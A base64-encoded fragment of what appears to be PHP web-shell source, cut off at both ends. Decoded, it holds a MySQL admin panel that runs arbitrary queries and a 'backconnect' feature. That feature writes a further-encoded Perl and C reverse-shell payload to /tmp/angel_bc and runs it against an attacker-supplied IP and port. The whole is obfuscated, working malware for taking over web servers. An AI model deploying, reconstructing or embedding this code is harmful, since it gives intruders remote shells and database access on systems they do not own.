BLVHNOQ2drSkNRa0pmUTBLQ1FrSkNRbHdLQ2M4Wm05eWJTQnRaWFJvYjJROUluQnZjM1FpSUdGamRHbHZiajBpSnk0a2MyVnNaaTRuSWo0bktUc05DZ2tKQ1FrSmNDZ2taR0ptYjNKdEtUc05DZ2tKQ1FrSmJXRnJaV2hwWkdVb0oyRmpkR2x2Ymljc0ozTnhiR0ZrYldsdUp5azdEUW9KQ1FrSkNXMWhhMlZvYVdSbEtDZDBZV0pzWlc1aGJXVW5MQ1IwWVdKc1pXNWhiV1VwT3cwS0NRa0pDUWx3S0NjOGRHRmliR1VnWW05eVpHVnlQU0l3SWlCalpXeHNjR0ZrWkdsdVp6MGlNeUlnWTJWc2JITndZV05wYm1jOUlqQWlQaWNwT3cwS0NRa0pDUWxtYjNKbFlXTm9JQ2drY205M1pHSWdZWE1nSkhKdmR5a2dldzBLQ1FrSkNRa0phV1lnS0NSeWMxc2tjbTkzV3lkR2FXVnNaQ2RkWFNrZ2V3MEtDUWtKQ1FrSkNTUjJZV3gxWlNBOUlHaDBiV3h6Y0dWamFXRnNZMmhoY25Nb0pISnpXeVJ5YjNkYkowWnBaV3hrSjExZEtUc05DZ2tKQ1FrSkNYMGdaV3h6WlNCN0RRb0pDUWtKQ1FrSkpIWmhiSFZsSUQwZ0p5YzdEUW9KQ1FrSkNRbDlEUW9KQ1FrSkNRa2tkR2hwYzJKbklEMGdZbWNvS1RzTkNna0pDUWtKQ1hBb0p6eDBjaUJqYkdGemN6MGlabTkxZENJZ2IyNXRiM1Z6Wlc5MlpYSTlJblJvYVhNdVkyeGhjM05PWVcxbFBWd25abTlqZFhOY0p6c2lJRzl1Ylc5MWMyVnZkWFE5SW5Sb2FYTXVZMnhoYzNOT1lXMWxQVnduWm05MWRGd25PeUkrSnlrN0RRb0pDUWtKQ1Fsd0tDYzhkR1ErUEdJK0p5NGtjbTkzV3lkR2FXVnNaQ2RkTGljOEwySStQR0p5SUM4K0p5NGtjbTkzV3lkVWVYQmxKMTB1Snp3dmRHUStQSFJrUGp4MFpYaDBZWEpsWVNCamJHRnpjejBpWVhKbFlTSWdibUZ0WlQwaWFXNXpaWEowYzNGc1d5Y3VKSEp2ZDFzblJtbGxiR1FuWFM0blhTSWdjM1I1YkdVOUluZHBaSFJvT2pVd01IQjRPMmhsYVdkb2REbzJNSEI0TzI5MlpYSm1iRzkzT21GMWRHODdJajRuTGlSMllXeDFaUzRuUEM5MFpYaDBZWEpsWVQ0OEwzUmtQand2ZEhJK0p5azdEUW9KQ1FrSkNYME5DZ2tKQ1FrSmFXWWdLQ1JrYjJsdVp5QTlQU0FuYVc1elpYSjBKeWtnZXcwS0NRa0pDUWtKY0NnblBIUnlJR05zWVhOelBTSm1iM1YwSWo0OGRHUWdZMjlzYzNCaGJqMGlNaUkrUEdsdWNIVjBJR05zWVhOelBTSmlkQ0lnZEhsd1pUMGljM1ZpYldsMElpQnVZVzFsUFNKcGJuTmxjblFpSUhaaGJIVmxQU0pKYm5ObGNuUWlJQzgrUEM5MFpENDhMM1J5UGljcE93MEtDUWtKQ1FsOUlHVnNjMlVnZXcwS0NRa0pDUWtKY0NnblBIUnlJR05zWVhOelBTSm1iM1YwSWo0OGRHUWdZMjlzYzNCaGJqMGlNaUkrUEdsdWNIVjBJR05zWVhOelBTSmlkQ0lnZEhsd1pUMGljM1ZpYldsMElpQnVZVzFsUFNKMWNHUmhkR1VpSUhaaGJIVmxQU0pWY0dSaGRHVWlJQzgrUEM5MFpENDhMM1J5UGljcE93MEtDUWtKQ1FrSmJXRnJaV2hwWkdVb0oySmhjMlUyTkNjc0lDUmlZWE5sTmpRcE93MEtDUWtKQ1FsOURRb0pDUWtKQ1hBb0p6d3ZkR0ZpYkdVK1BDOW1iM0p0UGljcE93MEtDUWtKQ1gwZ1pXeHpaU0I3RFFvSkNRa0pDU1J4ZFdWeWVYTWdQU0JBWlhod2JHOWtaU2duT3ljc0pITnhiRjl4ZFdWeWVTazdEUW9KQ1FrSkNXWnZjbVZoWTJnb0pIRjFaWEo1Y3lCaGN5QWtiblZ0UFQ0a2NYVmxjbmtwSUhzTkNna0pDUWtKQ1dsbUlDZ2tjWFZsY25rcElIc05DZ2tKQ1FrSkNRbHdLQ0k4Y0Q0OFlqNVJkV1Z5ZVNON0pHNTFiWDBnT2lBaUxtaDBiV3h6Y0dWamFXRnNZMmhoY25Nb0pIRjFaWEo1TEVWT1ZGOVJWVTlVUlZNcExpSThMMkkrUEM5d1BpSXBPdzBLQ1FrSkNRa0pDWE4zYVhSamFDaHhlU2drY1hWbGNua3BLUTBLQ1FrSkNRa0pDWHNOQ2drSkNRa0pDUWtKWTJGelpTQXdPZzBLQ1FrSkNRa0pDUWtKY0NnblBHZ3lQa1Z5Y205eUlEb2dKeTV0ZVhOeGJGOWxjbkp2Y2lncExpYzhMMmd5UGljcE93MEtDUWtKQ1FrSkNRa0pZbkpsWVdzN0RRb0pDUWtKQ1FrSkNXTmhjMlVnTVRvTkNna0pDUWtKQ1FrSkNXbG1JQ2h6ZEhKMGIyeHZkMlZ5S0hOMVluTjBjaWdrY1hWbGNua3NNQ3d4TXlrcElEMDlJQ2R6Wld4bFkzUWdLaUJtY205dEp5a2dldzBLQ1FrSkNRa0pDUWtKQ1NSaGJHeHZkMlZrYVhRZ1BTQXhPdzBLQ1FrSkNRa0pDUWtKZlEwS0NRa0pDUWtKQ1FrSmFXWWdLQ1JuWlhSdWRXMXpjV3dwSUhzTkNna0pDUWtKQ1FrSkNRa2tkR0YwYjJ3Z1BTQnRlWE54YkY5dWRXMWZjbTkzY3loeEtDUm5aWFJ1ZFcxemNXd3BLVHNOQ2drSkNRa0pDUWtKQ1Fra2JYVnNkR2x3WVdkbElEMGdiWFZzZEdrb0pIUmhkRzlzTENBa2NHRm5aVzUxYlN3Z0pIQmhaMlVzSUNSMFlXSnNaVzVoYldVcE93MEtDUWtKQ1FrSkNRa0pmUTBLQ1FrSkNRa0pDUWtKYVdZZ0tDRWtkR0ZpYkdWdVlXMWxLU0I3RFFvSkNRa0pDUWtKQ1FrSkpITnhiRjlzYVc1bElEMGdjM1J5WDNKbGNHeGhZMlVvWVhKeVlYa29JbHh5SWl3Z0lseHVJaXdnSWx4MElpa3NJR0Z5Y21GNUtDY2dKeXdnSnlBbkxDQW5JQ2NwTENCMGNtbHRLR2gwYld4emNHVmphV0ZzWTJoaGNuTW9KSEYxWlhKNUtTa3BPdzBLQ1FrSkNRa0pDUWtKQ1NSemNXeGZiR2x1WlNBOUlIQnlaV2RmY21Wd2JHRmpaU2dpTDF3dlhDcGJYaWhjS2x3dktWMHFYQ3BjTHk5cElpd2dJaUFpTENBa2MzRnNYMnhwYm1VcE93MEtDUWtKQ1FrSkNRa0pDWEJ5WldkZmJXRjBZMmhmWVd4c0tDSXZabkp2YlZ4eksyQjdNQ3d4ZlNoYlhIZGRLeWxnZXpBc01YMWNjeXN2YVNJc0pITnhiRjlzYVc1bExDUnRZWFJqYUdWektUc05DZ2tKQ1FrSkNRa0pDUWtrZEdGaWJHVnVZVzFsSUQwZ0pHMWhkR05vWlhOYk1WMWJNRjA3RFFvSkNRa0pDUWtKQ1FsOURRb0pDUWtKQ1FrSkNRa2tjbVZ6ZFd4MElEMGdjU2drY1hWbGNua3BPdzBLQ1FrSkNRa0pDUWtKY0Nna2JYVnNkR2x3WVdkbEtUc05DZ2tKQ1FrSkNRa0pDWEFvSnp4MFlXSnNaU0JpYjNKa1pYSTlJakFpSUdObGJHeHdZV1JrYVc1blBTSXpJaUJqWld4c2MzQmhZMmx1WnowaU1DSStKeWs3RFFvSkNRa0pDUWtKQ1Fsd0tDYzhkSElnWTJ4aGMzTTlJbWhsWVdRaVBpY3BPdzBLQ1FrSkNRa0pDUWtKYVdZZ0tDUmhiR3h2ZDJWa2FYUXBJSEFvSnp4MFpENUJZM1JwYjI0OEwzUmtQaWNwT3cwS0NRa0pDUWtKQ1FrSkpHWnBaV3hrYm5WdElEMGdRRzE1YzNGc1gyNTFiVjltYVdWc1pITW9KSEpsYzNWc2RDazdEUW9KQ1FrSkNRa0pDUWxtYjNJb0pHazlNRHNrYVR3a1ptbGxiR1J1ZFcwN0pHa3JLeWw3RFFvSkNRa0pDUWtKQ1FrSkpHNWhiV1VnUFNCQWJYbHpjV3hmWm1sbGJHUmZibUZ0WlNna2NtVnpkV3gwTENBa2FTazdEUW9KQ1FrSkNRa0pDUWtKSkhSNWNHVWdQU0JBYlhsemNXeGZabWxsYkdSZmRIbHdaU2drY21WemRXeDBMQ0FrYVNrN0RRb0pDUWtKQ1FrSkNRa0pKR3hsYmlBOUlFQnRlWE54YkY5bWFXVnNaRjlzWlc0b0pISmxjM1ZzZEN3Z0pHa3BPdzBLQ1FrSkNRa0pDUWtKQ1hBb0lqeDBaQ0J1YjNkeVlYQStKRzVoYldVOFluSStQSE53WVc0K0pIUjVjR1VvSkd4bGJpazhMM053WVc0K1BDOTBaRDRpS1RzTkNna0pDUWtKQ1FrSkNYME5DZ2tKQ1FrSkNRa0pDWEFvSnp3dmRISStKeWs3RFFvSkNRa0pDUWtKQ1FsM2FHbHNaU2drYlc0Z1BTQkFiWGx6Y1d4ZlptVjBZMmhmWVhOemIyTW9KSEpsYzNWc2RDa3BldzBLQ1FrSkNRa0pDUWtKQ1NSMGFHbHpZbWNnUFNCaVp5Z3BPdzBLQ1FrSkNRa0pDUWtKQ1hBb0p6eDBjaUJqYkdGemN6MGlabTkxZENJZ2IyNXRiM1Z6Wlc5MlpYSTlJblJvYVhNdVkyeGhjM05PWVcxbFBWd25abTlqZFhOY0p6c2lJRzl1Ylc5MWMyVnZkWFE5SW5Sb2FYTXVZMnhoYzNOT1lXMWxQVnduWm05MWRGd25PeUkrSnlrN0RRb0pDUWtKQ1FrSkNRa0pKSGRvWlhKbElEMGdKSFJ0Y0NBOUlDUmlNU0E5SUNjbk93MEtDUWtKQ1FrSkNRa0pDV1p2Y21WaFkyZ29KRzF1SUdGeklDUnJaWGs5UGlScGJuTnBaR1VwZXcwS0NRa0pDUWtKQ1FrSkNRbHBaaUFvSkdsdWMybGtaU2tnZXcwS0NRa0pDUWtKQ1FrSkNRa0pKSGRvWlhKbElDNDlJQ1IwYlhBdUpHdGxlUzRpUFNjaUxtRmtaSE5zWVhOb1pYTW9KR2x1YzJsa1pTa3VJaWNpT3cwS0NRa0pDUWtKQ1FrSkNRa0pKSFJ0Y0NBOUlDY2dRVTVFSUNjN0RRb0pDUWtKQ1FrSkNRa0pDWDBOQ2drSkNRa0pDUWtKQ1FrSkpHSXhJQzQ5SUNjOGRHUWdibTkzY21Gd1BpY3VhSFJ0YkY5amJHVmhiaWdrYVc1emFXUmxLUzRuSm01aWMzQTdQQzkwWkQ0bk93MEtDUWtKQ1FrSkNRa0pDWDBOQ2drSkNRa0pDUWtKQ1Fra2QyaGxjbVVnUFNCaVlYTmxOalJmWlc1amIyUmxLQ1IzYUdWeVpTazdEUW9KQ1FrSkNRa0pDUWtKYVdZZ0tDUmhiR3h2ZDJWa2FYUXBJSEFvSnp4MFpDQnViM2R5WVhBK1BHRWdhSEpsWmowaWFtRjJZWE5qY21sd2REcGxaR2wwY21WamIzSmtLRnduWldScGRGd25MQ0JjSnljdUpIZG9aWEpsTGlkY0p5d2dYQ2NuTGlSMFlXSnNaVzVoYldVdUoxd25LVHNpUGtWa2FYUThMMkUrSUh3Z1BHRWdhSEpsWmowaWFtRjJZWE5qY21sd2REcGxaR2wwY21WamIzSmtLRnduWkdWc1hDY3NJRnduSnk0a2QyaGxjbVV1SjF3bkxDQmNKeWN1SkhSaFlteGxibUZ0WlM0blhDY3BPeUkrUkdWc1BDOWhQand2ZEdRK0p5azdEUW9KQ1FrSkNRa0pDUWtKY0Nna1lqRXBPdzBLQ1FrSkNRa0pDUWtKQ1hBb0p6d3ZkSEkrSnlrN0RRb0pDUWtKQ1FrSkNRa0pkVzV6WlhRb0pHSXhLVHNOQ2drSkNRa0pDUWtKQ1gwTkNna0pDUWtKQ1FrSkNYUmlabTl2ZENncE93MEtDUWtKQ1FrSkNRa0pjQ2drYlhWc2RHbHdZV2RsS1RzTkNna0pDUWtKQ1FrSkNXSnlaV0ZyT3cwS0NRa0pDUWtKQ1FsallYTmxJREk2RFFvSkNRa0pDUWtKQ1Fra1lYSWdQU0J0ZVhOeGJGOWhabVpsWTNSbFpGOXliM2R6S0NrN0RRb0pDUWtKQ1FrSkNRbHdLQ2M4YURJK1lXWm1aV04wWldRZ2NtOTNjeUE2SUR4aVBpY3VKR0Z5TGljOEwySStQQzlvTWo0bktUc05DZ2tKQ1FrSkNRa0pDV0p5WldGck93MEtDUWtKQ1FrSkNYME5DZ2tKQ1FrSkNYME5DZ2tKQ1FrSmZRMEtDUWtKQ1gwTkNna0pDWDBnWld4elpTQjdEUW9KQ1FrSkpIRjFaWEo1SUQwZ2NTZ2lVMGhQVnlCVVFVSk1SU0JUVkVGVVZWTWlLVHNOQ2drSkNRa2tkR0ZpYkdWZmJuVnRJRDBnSkhSaFlteGxYM0p2ZDNNZ1BTQWtaR0YwWVY5emFYcGxJRDBnTURzTkNna0pDUWtrZEdGaWJHVmtZaUE5SUdGeWNtRjVLQ2s3RFFvSkNRa0pkMmhwYkdVb0pIUmhZbXhsSUQwZ2JYbHpjV3hmWm1WMFkyaGZZWEp5WVhrb0pIRjFaWEo1S1NrZ2V3MEtDUWtKQ1Fra1pHRjBZVjl6YVhwbElEMGdKR1JoZEdGZmMybDZaU0FySUNSMFlXSnNaVnNuUkdGMFlWOXNaVzVuZEdnblhUc05DZ2tKQ1FrSkpIUmhZbXhsWDNKdmQzTWdQU0FrZEdGaWJHVmZjbTkzY3lBcklDUjBZV0pzWlZzblVtOTNjeWRkT3cwS0NRa0pDUWtrZEdGaWJHVmJKMFJoZEdGZmJHVnVaM1JvSjEwZ1BTQnphWHBsWTI5MWJuUW9KSFJoWW14bFd5ZEVZWFJoWDJ4bGJtZDBhQ2RkS1RzTkNna0pDUWtKSkhSaFlteGxYMjUxYlNzck93MEtDUWtKQ1Fra2RHRmliR1ZrWWx0ZElEMGdKSFJoWW14bE93MEtDUWtKQ1gwTkNna0pDUWtrWkdGMFlWOXphWHBsSUQwZ2MybDZaV052ZFc1MEtDUmtZWFJoWDNOcGVtVXBPdzBLQ1FrSkNYVnVjMlYwS0NSMFlXSnNaU2s3RFFvSkNRa0pjQ2duUEhSaFlteGxJR0p2Y21SbGNqMGlNQ0lnWTJWc2JIQmhaR1JwYm1jOUlqQWlJR05sYkd4emNHRmphVzVuUFNJd0lqNG5LVHNOQ2drSkNRbHdLQ2M4Wm05eWJTQmhZM1JwYjI0OUlpY3VKSE5sYkdZdUp5SWdiV1YwYUc5a1BTSlFUMU5VSWo0bktUc05DZ2tKQ1FsdFlXdGxhR2xrWlNnbllXTjBhVzl1Snl3bmMzRnNZV1J0YVc0bktUc05DZ2tKQ1Fsd0tDUmtZbVp2Y20wcE93MEtDUWtKQ1hBb0p6eDBjaUJqYkdGemN6MGlhR1ZoWkNJK0p5azdEUW9KQ1FrSmNDZ25QSFJrSUhkcFpIUm9QU0l5SlNJZ1lXeHBaMjQ5SW1ObGJuUmxjaUkrUEdsdWNIVjBJRzVoYldVOUltTm9hMkZzYkNJZ2RtRnNkV1U5SW05dUlpQjBlWEJsUFNKamFHVmphMkp2ZUNJZ2IyNWpiR2xqYXowaVEyaGxZMnRCYkd3b2RHaHBjeTVtYjNKdEtTSWdMejQ4TDNSa1BpY3BPdzBLQ1FrSkNYQW9KengwWkQ1T1lXMWxQQzkwWkQ0bktUc05DZ2tKQ1Fsd0tDYzhkR1ErVW05M2N6d3ZkR1ErSnlrN0RRb0pDUWtKY0NnblBIUmtQa1JoZEdGZmJHVnVaM1JvUEM5MFpENG5LVHNOQ2drSkNRbHdLQ2M4ZEdRK1EzSmxZWFJsWDNScGJXVThMM1JrUGljcE93MEtDUWtKQ1hBb0p6eDBaRDVWY0dSaGRHVmZkR2x0WlR3dmRHUStKeWs3RFFvSkNRa0phV1lnS0NSb2FXZG9kbVZ5S1NCN0RRb0pDUWtKQ1hBb0p6eDBaRDVGYm1kcGJtVThMM1JrUGljcE93MEtDUWtKQ1Fsd0tDYzhkR1ErUTI5c2JHRjBhVzl1UEM5MFpENG5LVHNOQ2drSkNRbDlEUW9KQ1FrSmNDZ25QQzkwY2o0bktUc05DZ2tKQ1FsbWIzSmxZV05vSUNna2RHRmliR1ZrWWlCaGN5QWthMlY1SUQwK0lDUjBZV0pzWlNrZ2V3MEtDUWtKQ1Fra2RHaHBjMkpuSUQwZ1ltY29LVHNOQ2drSkNRa0pjQ2duUEhSeUlHTnNZWE56UFNKbWIzVjBJaUJ2Ym0xdmRYTmxiM1psY2owaWRHaHBjeTVqYkdGemMwNWhiV1U5WENkbWIyTjFjMXduT3lJZ2IyNXRiM1Z6Wlc5MWREMGlkR2hwY3k1amJHRnpjMDVoYldVOVhDZG1iM1YwWENjN0lqNG5LVHNOQ2drSkNRa0pjQ2duUEhSa0lHRnNhV2R1UFNKalpXNTBaWElpSUhkcFpIUm9QU0l5SlNJK1BHbHVjSFYwSUhSNWNHVTlJbU5vWldOclltOTRJaUJ1WVcxbFBTSjBZV0pzWlZ0ZElpQjJZV3gxWlQwaUp5NGtkR0ZpYkdWYkowNWhiV1VuWFM0bklpQXZQand2ZEdRK0p5azdEUW9KQ1FrSkNYQW9KengwWkQ0OFlTQm9jbVZtUFNKcVlYWmhjMk55YVhCME9uTmxkSFJoWW14bEtGd25KeTRrZEdGaWJHVmJKMDVoYldVblhTNG5YQ2NwT3lJK0p5NGtkR0ZpYkdWYkowNWhiV1VuWFM0blBDOWhQaUJiSUR4aElHaHlaV1k5SW1waGRtRnpZM0pwY0hRNmMyVjBkR0ZpYkdVb1hDY25MaVIwWVdKc1pWc25UbUZ0WlNkZExpZGNKeXdnWENkcGJuTmxjblJjSnlrN0lqNUpibk5sY25ROEwyRStJSHdnUEdFZ2FISmxaajBpYW1GMllYTmpjbWx3ZERwelpYUjBZV0pzWlNoY0p5Y3VKSFJoWW14bFd5ZE9ZVzFsSjEwdUoxd25MQ0JjSjNOMGNuVmpkSFZ5WlZ3bktUc2lQbE4wY25WamRIVnlaVHd2WVQ0Z2ZDQThZU0JvY21WbVBTSnFZWFpoYzJOeWFYQjBPbk5sZEhSaFlteGxLRnduSnk0a2RHRmliR1ZiSjA1aGJXVW5YUzRuWENjc0lGd25aSEp2Y0Z3bktUc2lQa1J5YjNBOEwyRStJRjA4TDNSa1BpY3BPdzBLQ1FrSkNRbHdLQ2M4ZEdRK0p5NGtkR0ZpYkdWYkoxSnZkM01uWFM0blBDOTBaRDRuS1RzTkNna0pDUWtKY0NnblBIUmtQaWN1SkhSaFlteGxXeWRFWVhSaFgyeGxibWQwYUNkZExpYzhMM1JrUGljcE93MEtDUWtKQ1Fsd0tDYzhkR1ErSnk0a2RHRmliR1ZiSjBOeVpXRjBaVjkwYVcxbEoxMHVKend2ZEdRK0p5azdEUW9KQ1FrSkNYQW9KengwWkQ0bkxpUjBZV0pzWlZzblZYQmtZWFJsWDNScGJXVW5YUzRuUEM5MFpENG5LVHNOQ2drSkNRa0phV1lnS0NSb2FXZG9kbVZ5S1NCN0RRb0pDUWtKQ1Fsd0tDYzhkR1ErSnk0a2RHRmliR1ZiSjBWdVoybHVaU2RkTGljOEwzUmtQaWNwT3cwS0NRa0pDUWtKY0NnblBIUmtQaWN1SkhSaFlteGxXeWREYjJ4c1lYUnBiMjRuWFM0blBDOTBaRDRuS1RzTkNna0pDUWtKZlEwS0NRa0pDUWx3S0NjOEwzUnlQaWNwT3cwS0NRa0pDWDBOQ2drSkNRbHdLQ2M4ZEhJZ1kyeGhjM005Wm05MWRENG5LVHNOQ2drSkNRbHdLQ2M4ZEdRK0ptNWljM0E3UEM5MFpENG5LVHNOQ2drSkNRbHdLQ2M4ZEdRK1ZHOTBZV3dnZEdGaWJHVnpPaUFuTGlSMFlXSnNaVjl1ZFcwdUp6d3ZkR1ErSnlrN0RRb0pDUWtKY0NnblBIUmtQaWN1SkhSaFlteGxYM0p2ZDNNdUp6d3ZkR1ErSnlrN0RRb0pDUWtKY0NnblBIUmtQaWN1SkdSaGRHRmZjMmw2WlM0blBDOTBaRDRuS1RzTkNna0pDUWx3S0NjOGRHUWdZMjlzYzNCaGJqMGlKeTRvSkdocFoyaDJaWElnUHlBMElEb2dNaWt1SnlJK0ptNWljM0E3UEM5MFpENG5LVHNOQ2drSkNRbHdLQ2M4TDNSeVBpY3BPdzBLRFFvSkNRa0pjQ2dpUEhSeUlHTnNZWE56UFZ3aVptOTFkRndpUGp4MFpDQmpiMnh6Y0dGdVBWd2lJaTRvSkdocFoyaDJaWElnUHlBNElEb2dOaWt1SWx3aVBqeHBibkIxZENCdVlXMWxQVndpYzJGMlpXRnpabWxzWlZ3aUlIWmhiSFZsUFZ3aU1Wd2lJSFI1Y0dVOVhDSmphR1ZqYTJKdmVGd2lJQzgrSUZOaGRtVWdZWE1nWm1sc1pTQThhVzV3ZFhRZ1kyeGhjM005WENKcGJuQjFkRndpSUc1aGJXVTlYQ0p3WVhSb1hDSWdkbUZzZFdVOVhDSWlMbE5CWDFKUFQxUXVKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlKZlRYbFRVVXd1YzNGc1hDSWdkSGx3WlQxY0luUmxlSFJjSWlCemFYcGxQVndpTmpCY0lpQXZQaUE4YVc1d2RYUWdZMnhoYzNNOVhDSmlkRndpSUhSNWNHVTlYQ0p6ZFdKdGFYUmNJaUJ1WVcxbFBWd2laRzkzYm5KaGNsd2lJSFpoYkhWbFBWd2lSWGh3YjNKMElITmxiR1ZqZEdsdmJpQjBZV0pzWlZ3aUlDOCtQQzkwWkQ0OEwzUnlQaUlwT3cwS0NRa0pDVzFoYTJWb2FXUmxLQ2RrYjJsdVp5Y3NKMkpoWTJ0MWNHMTVjM0ZzSnlrN0RRb0pDUWtKWm05eWJXWnZiM1FvS1RzTkNna0pDUWx3S0NJOEwzUmhZbXhsUGlJcE93MEtDUWtKQ1daeUtDUnhkV1Z5ZVNrN0RRb0pDUWw5RFFvSkNYME5DZ2w5RFFvSmRHSm1iMjkwS0NrN0RRb0pRRzE1YzNGc1gyTnNiM05sS0NrN0RRcDlMeTlsYm1RZ2MzRnNJR0poWTJ0MWNBMEtEUW9OQ21Wc2MyVnBaaUFvSkdGamRHbHZiaUE5UFNBblltRmphMk52Ym01bFkzUW5LU0I3RFFvSklTUjViM1Z5YVhBZ0ppWWdKSGx2ZFhKcGNDQTlJQ1JmVTBWU1ZrVlNXeWRTUlUxUFZFVmZRVVJFVWlkZE93MEtDU0VrZVc5MWNuQnZjblFnSmlZZ0pIbHZkWEp3YjNKMElEMGdKekV5TXpRMUp6c05DZ2trZFhObFpHSWdQU0JoY25KaGVTZ25jR1Z5YkNjOVBpZHdaWEpzSnl3bll5YzlQaWRqSnlrN0RRb05DZ2trWW1GamExOWpiMjV1WldOMFBTSkplVVYyWkZoT2VVd3lTbkJpYVRsM1dsaEtjMFJSY0RGak1sVm5WVEk1YW1FeVZqQlBkekJMU2tkT2RGcEVNR2RKYlhnMVltNW5hVTkzTUV0S1NFNDFZek5TYkdKVU1HZEtNbFpxWVVjNFowbHRRakZpYlVaMFdsTkJkRmxYUVdsUE1sWnFJaTROQ2drSkltRkhPR2RKYlVKd1drZEJhVTk1T1dsaFZ6UjJZekpuYms5M01FdEtSRUU1U2tkT2RGcEVjMDVEYVZJd1dWaEtibHBZVVRsS1JVWlRVakZhWWsxR01EZEVVVzlyWTBjNWVXUkVNR3RSVmtwSVZteHplRmhVYzA1RGFWSndXVmRTYTJOcU1YQmliVll3V0RKR01HSXlORzlLU0ZJaUxnMEtDUWtpYUdOdFpHeGtRMnRuWmtoM1oxcEhiR3hMUTBwR1kyNUtkbU5xYjJkS1EwWmpZbWxKY0U5M01FdEtTRUpvV2tkU2VWQllUblpaTW5Sb1drZFNlVmd5YkhWTFExSjNZak5LTUV4RFFXdGhWMFpyV2toSmNFbEllRGhKUjFKd1dsTm5hVkpZU25saU0wazJTVU5SYUZoSE5HbExWQ0l1RFFvSkNTSnpUa05wVW5kamJUa3dZbm94YmxwWVVuZGpiVGt3WWpKS05XSnRSblJhVTJkdVpFZE9kMHA1YXpkRVVYQjZZakpPY2xwWVVXOVZNRGxFVXpCV1ZVeERRbEZTYkRsS1ZHdFdWVXhEUWxSVU1FNU1XREZPVlZWclZrSlVVM2RuU2toQ2VXSXpVblpMVTBJNFprTkNhMkZYVlc5SklpNE5DZ2tKSW10V2VXTnRPWGxQYVVGclNWWjRkVWxwYXpkRVVYQnFZakkxZFZwWFRqQkxSazVRVVRCMFJsWkRkMmRLU0VKb1drZFNlVXRUUWpobVEwSnJZVmRWYjBsclZubGpiVGw1VDJsQmEwbFdlSFZKYVdzM1JGRndkbU5IVm5WTFJrNVZVa1ZzVDB4RFFXbFFhVnBVVkRCT1RGSldVV2tpTGcwS0NRa2lTMVJ6VGtOdE9YZGFWelJ2VlRGU1JWUXhWbFZNUTBGcFVHbGFWRlF3VGt4U1ZsRnBTMVJ6VGtOdE9YZGFWelJ2VlRGU1JWSldTbE5NUTBGcFVHbGFWRlF3VGt4U1ZsRnBTMVJ6VGtOdVRqVmpNMUpzWWxObmEyTXpiSHBrUjFaMFMxUnpUa050VG5OaU0wNXNTMFpPVlZKRmJDSXVEUW9KQ1NKUFMxUnpUa050VG5OaU0wNXNTMFpPVlZKRk9WWldRMnMzUkZGd2FtSkhPWHBhVTJoVVZrVlNSbFZzU1hCUGR6MDlJanNOQ2dra1ltRmphMTlqYjI1dVpXTjBYMk05SWtreWJIVlpNbmd4V2tkVloxQklUakJhUjJ4MlRHMW5LMFJSYjJwaFZ6VnFZa2hXYTFwVFFUaGpNMng2VEROT2Rsa3lkR3hrUXpWdlVHY3dTMGt5YkhWWk1uZ3hXa2RWWjFCSE5XeGtSMngxV2xoUmRtRlhOSFZoUkRST1EyMXNkV1JESWk0TkNna0pJa0owV1Zkc2RVdEhiSFZrUTBKb1kyMWtha3hEUW1waFIwWjVTVU53YUdOdFpESlhNVEJ3UkZGd04wUlJiMmRoVnpVd1NVZGFhMDkzTUV0SlNFNHdZMjVXYW1SRFFucGlNazV5V1ZkU2EyTnNPWEJpYVVKNllWYzBOMFJSYjJkWk1taG9ZMmxDZVdKWVRtSk5ha1prVUZOS2VXSWlMZzBLQ1FraVUwRjBXbWxCYVU5NVFVNURhVUpyV1ZkV2RHSXlORzlOVTNkM1MxUnpUa05wUW5waFZ6UjFZekpzZFZneVdtaGlWMnh6WlZOQk9VbEZSa2RZTUd4UFVsWlJOMFJSYjJkak1teDFURzVPY0dKc09YZGlNMG93U1VRd1oyRklVblppYmsxdldWaFNkbUZUYUdoamJXUXlWM3BLWkNJdURRb0pDU0pMVTJzM1JGRnZaMk15YkhWTWJrNXdZbXc1YUZwSFVubE1iazVtV1ZkU2EyTnBRVGxKUjJ4MVdsaFNabGxYVW10amFXaG9ZMjFrTWxkNlJtUkxWSE5uUkZGdloxbHVjR3hqYlRodldWaEtibVJzYzNoWVUzaDZaRWhLYzFwWE5HOVpXRXB1Wkd4emVGaFRhM0pOVTNSNlpFaEtJaTROQ2drSkluTmFWelJ2V1ZoS2JtUnNjM2xZVTJ0d1QzbEJUa05wUW0xYVEwRTVTVWhPZGxreWRHeGtRMmhDVW13NVNsUnJWbFZNUTBKVVZEQk9URmd4VGxWVmExWkNWRk4zWjFOV1FsRlZhemxWVkRFNVZWRXhRWEJKUkhOblJGRnZaMkZYV1dkTFEyaHFZakkxZFZwWFRqQkxSMXByVEVNaUxnMEtDUWtpUVc5ak0xSjVaRmRPTUVsSVRuWlpNblJvV2tkU2VVbERiM0JKUTFwNllWYzBjMGxJVG5CbGJWWjJXbWxvZW1SSVNqRlpNMUZuWXpJNWFtRXlSbXRhU0Vsd1MxTnJPRTFEYTJkbGR6QkxTVU5CWjJOSFZubGpiVGw1UzBOS1lreFdNR2RaTWpsMVltMVdhbVJEWjNCSmFXczNSQ0l1RFFvSkNTSlJiMmRKUTBKc1pVZHNNRXRFUVhCUGR6QkxTVWd3VGtOcFFucGtTRXBxV1ZoUmIyTnRNWHBNUTBKb1kyMWtNbGQ2UW1STFZITk9RMmxDZW1WWVRqQmFWekJ2WTIweGVrdFVjMmRKUVRCTFNVZFNNV05FU1c5YWJWRnpTVVJCY0U5M01FdEpSMUl4WTBSSmIxcHRVWE5KUkVWd0lpNE5DZ2tKSWs5M01FdEpSMUl4WTBSSmIxcHRVWE5KUkVsd1QzY3dTMGxIVmpSYVYwNXpTME5KZGxsdGJIVk1NMDV2U1dsM2FXTXlaMmRNVjJ0cFRFTkNUMVpWZUUxTFZITk9RMmxDYW1KSE9YcGFVMmh0V2tOck4wbEJNRXRtVVQwOUlqc05DZzBLQ1dsbUlDZ2tjM1JoY25RZ0ppWWdKSGx2ZFhKcGNDQW1KaUFrZVc5MWNuQnZjblFnSmlZZ0pIVnpaU2w3RFFvSkNXbG1JQ2drZFhObElEMDlJQ2R3WlhKc0p5a2dldzBLQ1FrSlkyWW9KeTkwYlhBdllXNW5aV3hmWW1NbkxDUmlZV05yWDJOdmJtNWxZM1FwT3cwS0NRa0pKSEpsY3lBOUlHVjRaV04xZEdVb2QyaHBZMmdvSjNCbGNtd25LUzRpSUM5MGJYQXZZVzVuWld4ZlltTWdKSGx2ZFhKcGNDQWtlVzkxY25CdmNuUWdKaUlwT3cwS0NRbDlJR1ZzYzJVZ2V3MEtDUWtKWTJZb0p5OTBiWEF2WVc1blpXeGZZbU11WXljc0pHSmhZMnRmWTI5dWJtVmpkRjlqS1RzTkNna0pDU1J5W